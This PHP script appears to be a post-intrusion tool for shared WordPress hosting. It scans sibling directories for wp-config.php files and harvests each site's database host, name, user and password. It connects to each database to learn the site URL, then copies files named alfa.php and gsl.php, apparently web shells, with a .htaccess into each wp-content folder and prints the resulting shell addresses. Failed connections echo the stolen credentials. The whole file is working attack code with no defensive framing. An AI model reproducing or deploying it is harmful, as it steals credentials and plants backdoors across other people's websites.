<?php

$mainpath = $_SERVER['DOCUMENT_ROOT'];
$pos = strpos($mainpath, "/domains/");
if ($pos !== false) {
    $path = substr($mainpath, 0, $pos + strlen("/domains/"));
    if(strpos($mainpath, "public_html") !== false){
        scan($path,"/public_html/");
    }else{
        scan($path);
    }
}

scan($mainpath);
scan($mainpath."/../");
scan($mainpath."/../../");

if(strpos($mainpath, "public_html") !== false){
    scan($mainpath."/../../","/public_html/");
    scan($mainpath."/../../../","/public_html/");
}

function scan($path,$prefix="/")
{
    $files = scandir($path);
    foreach ($files as $file) {
        if ($file != '.' && $file != '..') {
            $full_path = realpath($path . "/" . $file);
            if ($file == "public_html"){
                scan($full_path."/public_html/");
            }
            if (file_exists($full_path.$prefix."wp-config.php")){
                getDomain($full_path,$prefix);
            }
        }
    }
}


function getDomain($path,$prefix)
{
    $wp_config_path = $path.$prefix."wp-config.php";
    if (is_writable($path) && file_exists($wp_config_path)) {
        $config_file = file_get_contents($wp_config_path);
        $patterns = [
            '/define\(\s*\'DB_HOST\',\s*\'([^\']+)\'\s*\);/',
            '/define\(\s*\'DB_NAME\',\s*\'([^\']+)\'\s*\);/',
            '/define\(\s*\'DB_USER\',\s*\'([^\']+)\'\s*\);/',
            '/define\(\s*\'DB_PASSWORD\',\s*\'([^\']+)\'\s*\);/',
            '/\$table_prefix\s*=\s*\'([^\']+)\'\s*;/'
        ];

        $db_host = $db_name = $db_user = $db_pass = $table_prefix = '';

        foreach ($patterns as $pattern) {
            if (preg_match($pattern, $config_file, $matches)) {
                switch ($pattern) {
                    case '/define\(\s*\'DB_HOST\',\s*\'([^\']+)\'\s*\);/':
                        $db_host = $matches[1];
                        break;
                    case '/define\(\s*\'DB_NAME\',\s*\'([^\']+)\'\s*\);/':
                        $db_name = $matches[1];
                        break;
                    case '/define\(\s*\'DB_USER\',\s*\'([^\']+)\'\s*\);/':
                        $db_user = $matches[1];
                        break;
                    case '/define\(\s*\'DB_PASSWORD\',\s*\'([^\']+)\'\s*\);/':
                        $db_pass = $matches[1];
                        break;
                    case '/\$table_prefix\s*=\s*\'([^\']+)\'\s*;/':
                        $table_prefix = $matches[1];
                        break;
                }
            }
        }

        if($db_host=="" or $db_name=="" or $db_user=="" or $db_pass==""){
            echo "connect err file:$path$prefix/wp-config.php args:[host:$db_host,username:$db_user,password:$db_pass,dbprefix:$table_prefix]</br>";
            return;
        }

        $conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
        if ($conn->connect_error) {
            echo "connect err file:$path$prefix/wp-config.php args:[host:$db_host,username:$db_user,password:$db_pass,dbprefix:$table_prefix]</br>";
            return;
        }

        $query = "SELECT option_value FROM ".$table_prefix."options WHERE option_name = 'siteurl'";

        $result = $conn->query($query);

        if ($result->num_rows > 0) {
            $row = $result->fetch_assoc();
            $domain = $row['option_value'];
            if (copy("alfa.php",$path.$prefix."/wp-content/alfa.php") && copy("gsl.php",$path.$prefix."/wp-content/gsl.php") && copy(".htaccess",$path.$prefix."/wp-content/.htaccess")){
                echo "$domain/wp-content/alfa.php</br>";
            }else{
                echo "$path$prefix upload fail</br>";         
            }
        }
        $conn->close();
    }
}
?>